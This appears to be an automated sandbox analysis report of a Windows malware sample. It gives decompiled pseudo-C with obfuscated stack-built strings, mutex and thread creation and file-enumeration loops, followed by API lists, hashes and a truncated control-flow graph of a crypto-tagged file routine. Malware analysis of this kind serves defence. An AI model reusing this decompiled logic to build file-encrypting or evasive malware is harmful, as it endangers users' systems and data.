						_t480 = _v36;
						__eflags = _t354 - 0xc;
						if(_t354 != 0xc) {
							_t497 = _t480;
							__eflags = _t354 - 0xa;
							if(_t354 != 0xa) {
								goto L20;
							} else {
								goto L14;
							}
						} else {
							_t497 = _t480 + _t480;
							goto L22;
						}
					} else {
						_t497 = _v36;
						_t480 = _t497 + _t497;
						L14:
						if(E00F37430(0, _t480, _t486) != 0) {
							_t403 = E00F37520(0);
							__eflags = _t403;
							if(_t403 != 0) {
								_t354 =  *0xf4af98; // 0xa
								L20:
								__eflags = _t354 - 0xc;
								if(_t354 == 0xc) {
									L22:
									_t480 = _t497;
									_t355 = E00F37430(1, _t497, _t486);
									__eflags = _t355;
									if(_t355 != 0) {
										_t356 = E00F37520(1);
										__eflags = _t356;
										if(_t356 != 0) {
											goto L26;
										} else {
											_v216 = _t421;
											_v215 = 0x3a;
											_v214 = 0x40;
											_v213 = 0x3d;
											_v212 = 0x40;
											_v211 = 0x4b;
											_v210 = 0x40;
											_v209 = 0x6a;
											_v208 = 0x40;
											_v207 = 0x65;
											_v206 = 0x40;
											_v205 = 0x76;
											_v204 = 0x40;
											_v203 = 0xc;
											_v202 = 0x40;
											_v201 = 0x65;
											_v200 = 0x40;
											_v199 = 0x3d;
											_v198 = 0x40;
											_v197 = 0x32;
											_v196 = 0x40;
											_v195 = 0x65;
											_v194 = 0x40;
											_v193 = 0x76;
											_v192 = 0x40;
											_v191 = 0x4b;
											_v190 = 0x40;
											_v189 = 0x24;
											_v188 = 0x40;
											_v187 = 0x65;
											_v186 = 0x40;
											_v185 = 0x72;
											_v184 = 0x40;
											_v183 = 0x25;
											_v182 = 0x40;
											_v181 = 0x32;
											_v180 = 0x40;
											_v179 = 0x3e;
											_v178 = 0x40;
											_v177 = 0x76;
											_v176 = 0x40;
											_v175 = 0x65;
											_v174 = 0x40;
											_v173 = 0x31;
											_v172 = 0x40;
											_v171 = 0x32;
											_v170 = 0x40;
											_v169 = 0x24;
											_v168 = 0x40;
											_v167 = 0x3d;
											_v166 = 0x40;
											_v165 = 0x4a;
											_v164 = 0x40;
											_v163 = 0x7e;
											_v162 = 0x40;
											_v161 = 0x25;
											_v160 = 0x40;
											_v159 = 0x25;
											_v158 = 0x40;
											_v157 = 0x18;
											_v156 = 0x40;
											_v155 = 0x5e;
											_v154 = 0x40;
											_v153 = 0x40;
											_v152 = 0x40;
											_t393 = E00F31600( &_v216);
											E00F2FDD0(_t421, _t486, _t497);
											__eflags = _v20 ^ _t508 + 0x00000004;
											return E00F37A82(_v20 ^ _t508 + 0x00000004, _t393); // executed
										}
									} else {
										_v144 = _t421;
										_v143 = 0x48;
										_v142 = 0x61;
										_v141 = 0x15;
										_v140 = 0x61;
										_v139 = 0x25;
										_v138 = 0x61;
										_v137 = 0x12;
										_v136 = 0x61;
										_v135 = 0x67;
										_v134 = 0x61;
										_v133 = 0x44;
										_v132 = 0x61;
										_v131 = 0x2b;
										_v130 = 0x61;
										_v129 = 0x51;
										_v128 = 0x61;
										_v127 = 0x41;
										_v126 = 0x61;
										_v125 = 0x15;
										_v124 = 0x61;
										_v123 = 0x67;
										_v122 = 0x61;
										_v121 = 0x41;
										_v120 = 0x61;
										_v119 = 0x44;
										_v118 = 0x61;
										_v117 = 0x25;
										_v116 = 0x61;
										_v115 = 0x41;
										_v114 = 0x61;
										_v113 = 0x67;
										_v112 = 0x61;
										_v111 = 9;
										_v110 = 0x61;
										_v109 = 0x30;
										_v108 = 0x61;
										_v107 = 0x51;
										_v106 = 0x61;
										_v105 = 4;
										_v104 = 0x61;
										_v103 = 0x44;
										_v102 = 0x61;
										_v101 = 0x67;
										_v100 = 0x61;
										_v99 = 0x62;
										_v98 = 0x61;
										_v97 = 0x51;
										_v96 = 0x61;
										_v95 = 0x41;
										_v94 = 0x61;
										_v93 = 0x15;
										_v92 = 0x61;
										_v91 = 0x36;
										_v90 = 0x61;
										_v89 = 0x3b;
										_v88 = 0x61;
										_v87 = 0x30;
										_v86 = 0x61;
										_v85 = 0x30;
										_v84 = 0x61;
										_v83 = 0xf;
										_v82 = 0x61;
										_v81 = 0x5f;
										_v80 = 0x61;
										_v79 = 0x61;
										_v78 = 0x61;
										_t398 = E00F31640( &_v144);
										E00F2FDD0(_t421, _t486, _t497);
										__eflags = _v20 ^ _t508 + 0x00000004;
										return E00F37A82(_v20 ^ _t508 + 0x00000004, _t398);
									}
								} else {
									__eflags = _t354 - 0xa;
									if(_t354 != 0xa) {
										L26:
										E00F24200(_t421, _t486, _t497); // executed
										E00F34630(_t421, 0xf4c338, _t486, _t497);
										_t359 =  *0xf4af98; // 0xa
										 *0xf4c2f8 = 0xf4c338;
										__eflags = _t359 - 0xb;
										if(_t359 == 0xb) {
											L36:
											_t498 =  *0xf4c328; // 0x0
											__eflags = _t498;
											if(_t498 != 0) {
												do {
													_t508 = _t508 - 0x18;
													_t480 = _t508;
													 *((intOrPtr*)(_t480 + 0x14)) = 7;
													 *(_t480 + 0x10) = _t421;
													 *_t480 = 0;
													__eflags =  *_t498;
													if( *_t498 != 0) {
														_t457 = _t498;
														_t314 = _t457 + 2; // 0x2
														_t486 = _t314;
														do {
															_t385 =  *_t457;
															_t457 = _t457 + 2;
															__eflags = _t385;
														} while (_t385 != 0);
														_t458 = _t457 - _t486;
														__eflags = _t458;
														_t459 = _t458 >> 1;
													} else {
														_t459 = 0;
													}
													E00F237C0(_t480, _t498, _t459);
													E00F35950(_t421, 0, _t480, _t486, _t498, __eflags);
													_t498 =  *(_t498 + 0x8000);
													__eflags = _t498;
												} while (_t498 != 0);
												goto L44;
											}
										} else {
											__eflags = _t359 - 0xa;
											if(_t359 == 0xa) {
												goto L36;
											} else {
												_t498 =  *0xf4c328; // 0x0
												__eflags = _t498;
												if(_t498 != 0) {
													do {
														_t508 = _t508 - 0x18;
														_t480 = _t508;
														 *((intOrPtr*)(_t480 + 0x14)) = 7;
														 *(_t480 + 0x10) = _t421;
														 *_t480 = 0;
														__eflags =  *_t498;
														if( *_t498 != 0) {
															_t462 = _t498;
															_t310 = _t462 + 2; // 0x2
															_t486 = _t310;
															do {
																_t389 =  *_t462;
																_t462 = _t462 + 2;
																__eflags = _t389;
															} while (_t389 != 0);
															_t463 = _t462 - _t486;
															__eflags = _t463;
															_t464 = _t463 >> 1;
														} else {
															_t464 = 0;
														}
														E00F237C0(_t480, _t498, _t464);
														E00F35950(_t421, 1, _t480, _t486, _t498, __eflags);
														_t498 =  *(_t498 + 0x8000);
														__eflags = _t498;
													} while (_t498 != 0);
													L44:
													_t359 =  *0xf4af98; // 0xa
												}
											}
										}
										__eflags = _t359 - 0xb;
										if(_t359 == 0xb) {
											L47:
											_t360 = E00F23480( &_v72); // executed
											__eflags = _t360;
											if(_t360 != 0) {
												_t379 =  *0xf4c2ec; // 0xddcc10
												_t455 =  *(_t379 + 0x6c);
												__eflags =  *(_t379 + 0x6c);
												if( *(_t379 + 0x6c) == 0) {
													_t480 = 0;
													__eflags = 0;
													_t382 = E00F222A0(_t421, _t455, 0, _t486, _t498, 0x3a4532be);
													_t383 =  *0xf4c2ec; // 0xddcc10
													 *((intOrPtr*)(_t383 + 0x6c)) = _t382;
												}
												_t381 = CreateThread(0, 0, E00F363D0,  &_v72, 0, 0); // executed
												_t421 = _t381;
											}
											_t359 =  *0xf4af98; // 0xa
										} else {
											__eflags = _t359 - 0xa;
											if(_t359 == 0xa) {
												goto L47;
											}
										}
										__eflags = _t359 - 0xc;
										if(_t359 == 0xc) {
											L54:
											_t499 =  *0xf4c330; // 0x0
											__eflags = _t499;
											while(_t499 != 0) {
												_t480 =  &_v64;
												E00F32600(_t421, _t499,  &_v64, _t486, _t499);
												_t499 =  *(_t499 + 0x8000);
												__eflags = _t499;
											}
											_t498 = _v64;
											__eflags = _t498;
											while(_t498 != 0) {
												_t508 = _t508 - 0x18;
												_t480 = _t508;
												 *((intOrPtr*)(_t480 + 0x14)) = 7;
												 *(_t480 + 0x10) = 0;
												 *_t480 = 0;
												__eflags =  *_t498;
												if( *_t498 != 0) {
													_t449 = _t498;
													_t486 = _t449 + 2;
													do {
														_t375 =  *_t449;
														_t449 = _t449 + 2;
														__eflags = _t375;
													} while (_t375 != 0);
													_t450 = _t449 - _t486;
													__eflags = _t450;
													_t451 = _t450 >> 1;
												} else {
													_t451 = 0;
												}
												E00F237C0(_t480, _t498, _t451);
												E00F35950(_t421, 1, _t480, _t486, _t498, __eflags);
												_t498 =  *(_t498 + 0x7d00);
												__eflags = _t498;
											}
											E00F338B0(_t421, _t486, _t498);
											_t359 =  *0xf4af98; // 0xa
										} else {
											__eflags = _t359 - 0xa;
											if(_t359 == 0xa) {
												goto L54;
											}
										}
										__eflags = _t359 - 0xb;
										if(_t359 == 0xb) {
											L66:
											__eflags = _t421;
											if(_t421 != 0) {
												_t371 =  *0xf4c2ec; // 0xddcc10
												_t372 =  *(_t371 + 0x2c);
												__eflags = _t372;
												if(_t372 == 0) {
													_t480 = 0;
													__eflags = 0;
													_t372 = E00F222A0(_t421, 0, 0, _t486, _t498, 0x6a095e21);
													_t448 =  *0xf4c2ec; // 0xddcc10
													 *(_t448 + 0x2c) = _t372;
												}
												 *_t372(_t421, 0xffffffff);
											}
											__eflags = 0;
											E00F37590(0, _t480);
											_t359 =  *0xf4af98; // 0xa
										} else {
											__eflags = _t359 - 0xa;
											if(_t359 == 0xa) {
												goto L66;
											}
										}
										__eflags = _t359 - 0xc;
										if(_t359 == 0xc) {
											L73:
											_t488 =  *0xf4c3e0; // 0x4
											_t500 = 0;
											__eflags = _t488;
											if(_t488 != 0) {
												do {
													_t508 = _t508 - 0x18;
													_t445 = _t508;
													 *((intOrPtr*)(_t445 + 0x14)) = 7;
													 *(_t445 + 0x10) = 0;
													 *_t445 = 0;
													E00F237C0(_t445, L"stopmarker", 0xa);
													E00F37620(_t480);
													_t488 =  *0xf4c3e0; // 0x4
													_t500 = _t500 + 1;
													__eflags = _t500 - _t488;
												} while (_t500 < _t488);
											}
											_t363 =  *0xf4c2ec; // 0xddcc10
											_t501 =  *0xf4c3dc; // 0xde28c8
											_t364 =  *(_t363 + 0xcc);
											__eflags = _t364;
											if(_t364 == 0) {
												__eflags = 0;
												_t364 = E00F222A0(_t421, 0, 0, _t488, _t501, 0x1d7ab241);
												_t444 =  *0xf4c2ec; // 0xddcc10
												 *(_t444 + 0xcc) = _t364;
											}
											 *_t364(_t488, _t501, 1, 0xffffffff);
										} else {
											__eflags = _t359 - 0xa;
											if(_t359 == 0xa) {
												goto L73;
											}
										}
										__eflags = _v36 ^ _t508;
										return E00F37A82(_v36 ^ _t508);
									} else {
										goto L22;
									}
								}
							} else {
								_v344 = _t421;
								_v343 = 0x77;
								_v342 = 0x74;
								_v341 = 0x36;
								_v340 = 0x74;
								_v339 = 0x2f;
								_v338 = 0x74;
								_v337 = 0x5f;
								_v336 = 0x74;
								_v335 = 0x22;
								_v334 = 0x74;
								_v333 = 0x59;
								_v332 = 0x74;
								_v331 = 0xf;
								_v330 = 0x74;
								_v329 = 0x22;
								_v328 = 0x74;
								_v327 = 0x36;
								_v326 = 0x74;
								_v325 = 0x7b;
								_v324 = 0x74;
								_v323 = 0x22;
								_v322 = 0x74;
								_v321 = 0x59;
								_v320 = 0x74;
								_v319 = 9;
								_v318 = 0x74;
								_v317 = 0x42;
								_v316 = 0x74;
								_v315 = 0x5c;
								_v314 = 0x74;
								_v313 = 0x36;
								_v312 = 0x74;
								_v311 = 9;
								_v310 = 0x74;
								_v309 = 0x59;
								_v308 = 0x74;
								_v307 = 0x22;
								_v306 = 0x74;
								_v305 = 0x3c;
								_v304 = 0x74;
								_v303 = 0x7b;
								_v302 = 0x74;
								_v301 = 3;
								_v300 = 0x74;
								_v299 = 0x36;
								_v298 = 0x74;
								_v297 = 0x6f;
								_v296 = 0x74;
								_v295 = 0x55;
								_v294 = 0x74;
								_v293 = 0x42;
								_v292 = 0x74;
								_v291 = 0x42;
								_v290 = 0x74;
								_v289 = 9;
								_v288 = 0x74;
								_v287 = 0x65;
								_v286 = 0x74;
								_v285 = 0x74;
								_v284 = 0x74;
								_t405 = E00F316A0( &_v344);
								E00F2FDD0(_t421, _t486, _t497);
								__eflags = _v20 ^ _t508 + 0x00000004;
								return E00F37A82(_v20 ^ _t508 + 0x00000004, _t405);
							}
						} else {
							_v280 = _t421;
							_v279 = 0x60;
							_v278 = 0x4f;
							_v277 = 0x18;
							_v276 = 0x4f;
							_v275 = 0x45;
							_v274 = 0x4f;
							_v273 = 0x57;
							_v272 = 0x4f;
							_v271 = 0x50;
							_v270 = 0x4f;
							_v269 = 0x35;
							_v268 = 0x4f;
							_v267 = 0x46;
							_v266 = 0x4f;
							_v265 = 0x22;
							_v264 = 0x4f;
							_v263 = 0x74;
							_v262 = 0x4f;
							_v261 = 0x18;
							_v260 = 0x4f;
							_v259 = 0x50;
							_v258 = 0x4f;
							_v257 = 0x74;
							_v256 = 0x4f;
							_v255 = 0x35;
							_v254 = 0x4f;
							_v253 = 0x17;
							_v252 = 0x4f;
							_v251 = 0x5c;
							_v250 = 0x4f;
							_v249 = 0x46;
							_v248 = 0x4f;
							_v247 = 0x18;
							_v246 = 0x4f;
							_v245 = 0x17;
							_v244 = 0x4f;
							_v243 = 0x35;
							_v242 = 0x4f;
							_v241 = 0x50;
							_v240 = 0x4f;
							_v239 = 0x3a;
							_v238 = 0x4f;
							_v237 = 0x22;
							_v236 = 0x4f;
							_v235 = 0x74;
							_v234 = 0x4f;
							_v233 = 0x18;
							_v232 = 0x4f;
							_v231 = 0x5d;
							_v230 = 0x4f;
							_v229 = 0x73;
							_v228 = 0x4f;
							_v227 = 0x5c;
							_v226 = 0x4f;
							_v225 = 0x5c;
							_v224 = 0x4f;
							_v223 = 0x17;
							_v222 = 0x4f;
							_v221 = 0x79;
							_v220 = 0x4f;
							_v219 = 0x4f;
							_v218 = 0x4f;
							_push(E00F31700( &_v280));
							E00F2FDD0(_t421, _t486, _t497);
							_t508 = _t508 + 4;
							goto L16;
						}
					}
				}
			}














































































































































































































































































































































    0x00f30960
    0x00f30966
    0x00f3096c
    0x00f30973
    0x00f3097a
    0x00f3097b
    0x00f3097c
    0x00f3097d
    0x00f30982
    0x00f30987
    0x00f30998
    0x00f309a3
    0x00f309b4
    0x00f309bb
    0x00f309bd
    0x00f309c3
    0x00f309ca
    0x00f309d1
    0x00f309d7
    0x00f309dd
    0x00f309e7
    0x00f309eb
    0x00f309f0
    0x00f309f5
    0x00f309fa
    0x00f309ff
    0x00f30a04
    0x00f30a09
    0x00f30a0e
    0x00f30a13
    0x00f30a18
    0x00f30a1d
    0x00f30a22
    0x00f30a27
    0x00f30a2c
    0x00f30a31
    0x00f30a36
    0x00f30a44
    0x00f30a46
    0x00f30a4b
    0x00f30a50
    0x00f30a59
    0x00f30a60
    0x00f30a65
    0x00f30a65
    0x00f30a6d
    0x00f30a6f
    0x00f30a71
    0x00f30a76
    0x00f30a7b
    0x00f30a89
    0x00f30a8b
    0x00f30a90
    0x00f30a90
    0x00f30a93
    0x00f30a95
    0x00f30a9a
    0x00f30ce8
    0x00f30d01
    0x00f30aa0
    0x00f30aa0
    0x00f30aa5
    0x00f30aaa
    0x00f30ab8
    0x00f30aba
    0x00f30abf
    0x00f30abf
    0x00f30ac6
    0x00f30acb
    0x00f30ad0
    0x00f30ad5
    0x00f30ae3
    0x00f30ae5
    0x00f30aea
    0x00f30aea
    0x00f30af5
    0x00f30af7
    0x00f30aff
    0x00f30b0d
    0x00f30b14
    0x00f30b17
    0x00f30b21
    0x00f30b23
    0x00f30b26
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f30b19
    0x00f30b19
    0x00000000
    0x00f30b19
    0x00f30b01
    0x00f30b01
    0x00f30b08
    0x00f30b2c
    0x00f30b35
    0x00f30d06
    0x00f30d0b
    0x00f30d0d
    0x00f30e75
    0x00f30e7a
    0x00f30e7a
    0x00f30e7d
    0x00f30e88
    0x00f30e88
    0x00f30e8f
    0x00f30e94
    0x00f30e96
    0x00f310f0
    0x00f310f5
    0x00f310f7
    0x00000000
    0x00f310fd
    0x00f310fd
    0x00f3110b
    0x00f31113
    0x00f3111b
    0x00f31123
    0x00f3112b
    0x00f31133
    0x00f3113b
    0x00f31143
    0x00f3114b
    0x00f31153
    0x00f3115b
    0x00f31163
    0x00f3116b
    0x00f31173
    0x00f3117b
    0x00f31183
    0x00f3118b
    0x00f31193
    0x00f3119b
    0x00f311a3
    0x00f311ab
    0x00f311b3
    0x00f311bb
    0x00f311c3
    0x00f311cb
    0x00f311d3
    0x00f311db
    0x00f311e3
    0x00f311eb
    0x00f311f3
    0x00f311fb
    0x00f31203
    0x00f3120b
    0x00f31213
    0x00f3121b
    0x00f31223
    0x00f3122b
    0x00f31233
    0x00f3123b
    0x00f31243
    0x00f3124b
    0x00f31253
    0x00f3125b
    0x00f31263
    0x00f3126b
    0x00f31273
    0x00f3127b
    0x00f31283
    0x00f3128b
    0x00f31293
    0x00f3129b
    0x00f312a3
    0x00f312ab
    0x00f312b3
    0x00f312bb
    0x00f312c3
    0x00f312cb
    0x00f312d3
    0x00f312db
    0x00f312e3
    0x00f312eb
    0x00f312f3
    0x00f312fb
    0x00f31303
    0x00f31312
    0x00f31318
    0x00f3132f
    0x00f31339
    0x00f31339
    0x00f30e9c
    0x00f30e9c
    0x00f30eaa
    0x00f30eb2
    0x00f30eba
    0x00f30ec2
    0x00f30eca
    0x00f30ed2
    0x00f30eda
    0x00f30ee2
    0x00f30eea
    0x00f30ef2
    0x00f30efa
    0x00f30f02
    0x00f30f0a
    0x00f30f12
    0x00f30f1a
    0x00f30f22
    0x00f30f2a
    0x00f30f32
    0x00f30f3a
    0x00f30f42
    0x00f30f4a
    0x00f30f52
    0x00f30f5a
    0x00f30f62
    0x00f30f6a
    0x00f30f72
    0x00f30f7a
    0x00f30f82
    0x00f30f8a
    0x00f30f92
    0x00f30f9a
    0x00f30fa2
    0x00f30faa
    0x00f30fb2
    0x00f30fba
    0x00f30fc2
    0x00f30fca
    0x00f30fd2
    0x00f30fda
    0x00f30fe2
    0x00f30fea
    0x00f30ff2
    0x00f30ffa
    0x00f31002
    0x00f3100a
    0x00f31012
    0x00f3101a
    0x00f31022
    0x00f3102a
    0x00f31032
    0x00f3103a
    0x00f31042
    0x00f3104a
    0x00f31052
    0x00f3105a
    0x00f31062
    0x00f3106a
    0x00f31072
    0x00f3107a
    0x00f31082
    0x00f3108a
    0x00f31092
    0x00f3109a
    0x00f310a2
    0x00f310aa
    0x00f310b2
    0x00f310c1
    0x00f310c7
    0x00f310de
    0x00f310e8
    0x00f310e8
    0x00f30e7f
    0x00f30e7f
    0x00f30e82
    0x00f3133c
    0x00f3133c
    0x00f31346
    0x00f3134b
    0x00f31350
    0x00f3135a
    0x00f3135d
    0x00f313c2
    0x00f313c2
    0x00f313c8
    0x00f313ca
    0x00f313d0
    0x00f313d0
    0x00f313d5
    0x00f313d7
    0x00f313de
    0x00f313e1
    0x00f313e4
    0x00f313e7
    0x00f313ed
    0x00f313ef
    0x00f313ef
    0x00f313f2
    0x00f313f2
    0x00f313f5
    0x00f313f8
    0x00f313f8
    0x00f313fd
    0x00f313fd
    0x00f313ff
    0x00f313e9
    0x00f313e9
    0x00f313e9
    0x00f31405
    0x00f3140c
    0x00f31411
    0x00f31417
    0x00f31417
    0x00000000
    0x00f313d0
    0x00f3135f
    0x00f3135f
    0x00f31362
    0x00000000
    0x00f31364
    0x00f31364
    0x00f3136a
    0x00f3136c
    0x00f31372
    0x00f31372
    0x00f31377
    0x00f31379
    0x00f31380
    0x00f31383
    0x00f31386
    0x00f31389
    0x00f3138f
    0x00f31391
    0x00f31391
    0x00f31394
    0x00f31394
    0x00f31397
    0x00f3139a
    0x00f3139a
    0x00f3139f
    0x00f3139f
    0x00f313a1
    0x00f3138b
    0x00f3138b
    0x00f3138b
    0x00f313a7
    0x00f313b1
    0x00f313b6
    0x00f313bc
    0x00f313bc
    0x00f3141b
    0x00f3141b
    0x00f3141b
    0x00f3136c
    0x00f31362
    0x00f31420
    0x00f31423
    0x00f3142a
    0x00f31431
    0x00f31436
    0x00f31438
    0x00f3143a
    0x00f3143f
    0x00f31442
    0x00f31444
    0x00f3144b
    0x00f3144b
    0x00f3144d
    0x00f31454
    0x00f31459
    0x00f31459
    0x00f31471
    0x00f31473
    0x00f31473
    0x00f31475
    0x00f31425
    0x00f31425
    0x00f31428
    0x00000000
    0x00000000
    0x00f31428
    0x00f3147a
    0x00f3147d
    0x00f31488
    0x00f31488
    0x00f3148e
    0x00f31490
    0x00f31492
    0x00f3149b
    0x00f314a0
    0x00f314a6
    0x00f314a6
    0x00f314aa
    0x00f314b1
    0x00f314b3
    0x00f314b5
    0x00f314ba
    0x00f314bc
    0x00f314c3
    0x00f314ca
    0x00f314cd
    0x00f314d0
    0x00f314d6
    0x00f314d8
    0x00f314e0
    0x00f314e0
    0x00f314e3
    0x00f314e6
    0x00f314e6
    0x00f314eb
    0x00f314eb
    0x00f314ed
    0x00f314d2
    0x00f314d2
    0x00f314d2
    0x00f314f3
    0x00f314fd
    0x00f31502
    0x00f31508
    0x00f31508
    0x00f3150c
    0x00f31511
    0x00f3147f
    0x00f3147f
    0x00f31482
    0x00000000
    0x00000000
    0x00f31482
    0x00f31516
    0x00f31519
    0x00f31520
    0x00f31520
    0x00f31522
    0x00f31524
    0x00f31529
    0x00f3152c
    0x00f3152e
    0x00f31535
    0x00f31537
    0x00f31539
    0x00f3153e
    0x00f31544
    0x00f31544
    0x00f3154a
    0x00f3154a
    0x00f3154c
    0x00f3154e
    0x00f31553
    0x00f3151b
    0x00f3151b
    0x00f3151e
    0x00000000
    0x00000000
    0x00f3151e
    0x00f31558
    0x00f3155b
    0x00f31566
    0x00f31566
    0x00f3156c
    0x00f3156e
    0x00f31570
    0x00f31572
    0x00f31572
    0x00f31577
    0x00f3157b
    0x00f31582
    0x00f3158e
    0x00f31591
    0x00f3159b
    0x00f315a0
    0x00f315a6
    0x00f315a7
    0x00f315a7
    0x00f31572
    0x00f315ab
    0x00f315b0
    0x00f315b6
    0x00f315bc
    0x00f315be
    0x00f315c7
    0x00f315c9
    0x00f315ce
    0x00f315d4
    0x00f315d4
    0x00f315e0
    0x00f3155d
    0x00f3155d
    0x00f31560
    0x00000000
    0x00000000
    0x00f31560
    0x00f315ee
    0x00f315f8
    0x00000000
    0x00000000
    0x00000000
    0x00f30e82
    0x00f30d13
    0x00f30d13
    0x00f30d1b
    0x00f30d20
    0x00f30d25
    0x00f30d2a
    0x00f30d2f
    0x00f30d34
    0x00f30d39
    0x00f30d3e
    0x00f30d43
    0x00f30d48
    0x00f30d4d
    0x00f30d52
    0x00f30d57
    0x00f30d5c
    0x00f30d61
    0x00f30d66
    0x00f30d6b
    0x00f30d70
    0x00f30d75
    0x00f30d7a
    0x00f30d7f
    0x00f30d84
    0x00f30d89
    0x00f30d8e
    0x00f30d93
    0x00f30d98
    0x00f30d9d
    0x00f30da2
    0x00f30da7
    0x00f30dac
    0x00f30db1
    0x00f30db6
    0x00f30dbb
    0x00f30dc0
    0x00f30dc5
    0x00f30dca
    0x00f30dcf
    0x00f30dd4
    0x00f30dd9
    0x00f30dde
    0x00f30de3
    0x00f30de8
    0x00f30ded
    0x00f30df2
    0x00f30df7
    0x00f30dfc
    0x00f30e01
    0x00f30e06
    0x00f30e0b
    0x00f30e10
    0x00f30e15
    0x00f30e1a
    0x00f30e1f
    0x00f30e24
    0x00f30e29
    0x00f30e2e
    0x00f30e33
    0x00f30e38
    0x00f30e3d
    0x00f30e42
    0x00f30e4b
    0x00f30e51
    0x00f30e68
    0x00f30e72
    0x00f30e72
    0x00f30b3b
    0x00f30b3b
    0x00f30b43
    0x00f30b48
    0x00f30b4d
    0x00f30b52
    0x00f30b57
    0x00f30b5c
    0x00f30b61
    0x00f30b66
    0x00f30b6b
    0x00f30b70
    0x00f30b75
    0x00f30b7a
    0x00f30b7f
    0x00f30b84
    0x00f30b89
    0x00f30b8e
    0x00f30b93
    0x00f30b98
    0x00f30b9d
    0x00f30ba2
    0x00f30ba7
    0x00f30bac
    0x00f30bb1
    0x00f30bb6
    0x00f30bbb
    0x00f30bc0
    0x00f30bc5
    0x00f30bca
    0x00f30bcf
    0x00f30bd4
    0x00f30bd9
    0x00f30bde
    0x00f30be6
    0x00f30bee
    0x00f30bf6
    0x00f30bfe
    0x00f30c06
    0x00f30c0e
    0x00f30c16
    0x00f30c1e
    0x00f30c26
    0x00f30c2e
    0x00f30c36
    0x00f30c3e
    0x00f30c46
    0x00f30c4e
    0x00f30c56
    0x00f30c5e
    0x00f30c66
    0x00f30c6e
    0x00f30c76
    0x00f30c7e
    0x00f30c86
    0x00f30c8e
    0x00f30c96
    0x00f30c9e
    0x00f30ca6
    0x00f30cae
    0x00f30cb6
    0x00f30cbe
    0x00f30cc6
    0x00f30cce
    0x00f30cdf
    0x00f30ce0
    0x00f30ce5
    0x00000000
    0x00f30ce5
    0x00f30b35
    0x00f30aff

    APIs
      • Part of subcall function 00F21AA0: LoadLibraryA.KERNEL32(00000056), ref: 00F21B16
      • Part of subcall function 00F21AA0: LoadLibraryA.KERNEL32(00000000), ref: 00F21B5D
      • Part of subcall function 00F21AA0: LoadLibraryA.KERNELBASE(00000043), ref: 00F21BD4
    • CreateMutexA.KERNELBASE(00000000,00000001,00000000), ref: 00F30A6D
    • GetNativeSystemInfo.KERNELBASE(?), ref: 00F30AF5
      • Part of subcall function 00F2FDD0: GetLocalTime.KERNEL32(?), ref: 00F2FED3
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: LibraryLoad$CreateInfoLocalMutexNativeSystemTime
    • String ID: "$"$"$"$"$"$"$$$$$%$%$%$%$%$($+$/$0$0$0$1$2$2$2$5$5$5$6$6$6$6$6$:$:$;$<$=$=$=$>$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$@$A$A$A$A$B$B$B$D$D$D$E$F$F$F$H$J$K$K$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$O$P$P$P$Q$Q$Q$U$W$Y$Y$Y$\$\$\$\$]$^$_$_$`$`$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$c$e$e$e$e$e$e$g$g$g$g$j$o$r$r$r$r$s$stopmarker$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$v$v$v$w$y$z${${$}$~
    • API String ID: 3239166789-4066280742
    • Opcode ID: 320f2cd175945939ca02a507a85237b64ce98972f2463aed8656d4c9db9c4944
    • Instruction ID: 301497317f5830d473d15717a9c88e77bb6eac0b866a0921df64402d09ceeced
    • Opcode Fuzzy Hash: 320f2cd175945939ca02a507a85237b64ce98972f2463aed8656d4c9db9c4944
    • Instruction Fuzzy Hash: 2F72176050C3C0C9E732D728C4597ABBFD16BA2318F08499DD6C85B293C7BE9948D7A7
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2D670 Relevance: 426.1, APIs: 4, Strings: 239, Instructions: 879fileCOMMONCrypto
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 240 f2d670-f2d694 241 f2d696-f2d6aa call f222a0 240->241 242 f2d6ad-f2d6b5 GetFileAttributesW 240->242 241->242 244 f2d6b7-f2d6ba 242->244 245 f2d6e9-f2d6f5 242->245 244->245 247 f2d6bc-f2d6c9 244->247 248 f2d6f7-f2d70b call f222a0 245->248 249 f2d70e-f2d72d CreateFileW 245->249 253 f2d6e2-f2d6e7 SetFileAttributesW 247->253 254 f2d6cb-f2d6df call f222a0 247->254 248->249 251 f2d746-f2d751 249->251 252 f2d72f-f2d743 call f222a0 249->252 261 f2d757-f2d75a 251->261 262 f2e44d-f2e45a 251->262 252->251 253->245 254->253 265 f2d760-f2d763 261->265 266 f2d9c1-f2dc4e call f2f040 call f2fdd0 call f2c0a0 261->266 263 f2e473-f2e47c 262->263 264 f2e45c-f2e470 call f222a0 262->264 277 f2e4a6-f2e4b0 263->277 278 f2e47e-f2e488 263->278 264->263 265->266 269 f2d769-f2d773 265->269 295 f2dc53-f2dc55 266->295 272 f2d775-f2d789 call f222a0 269->272 273 f2d78c-f2d96a 269->273 272->273 286 f2d99a-f2d9c0 call f2fdd0 call f37a82 273->286 287 f2d96c-f2d96e 273->287 281 f2e4b2-f2e4c6 call f222a0 277->281 282 f2e4c9-f2e73c 277->282 278->277 279 f2e48a-f2e4a5 call f37a82 278->279 281->282 299 f2e73e 282->299 300 f2e76c-f2e793 call f2fdd0 FindCloseChangeNotification call f37a82 282->300 291 f2d970-f2d998 287->291 291->286 291->291 296 f2e0c1-f2e0cb 295->296 297 f2dc5b-f2dd86 295->297 304 f2e0e4-f2e3fe 296->304 305 f2e0cd-f2e0e1 call f222a0 296->305 301 f2ddb4-f2ddce call f2fdd0 297->301 302 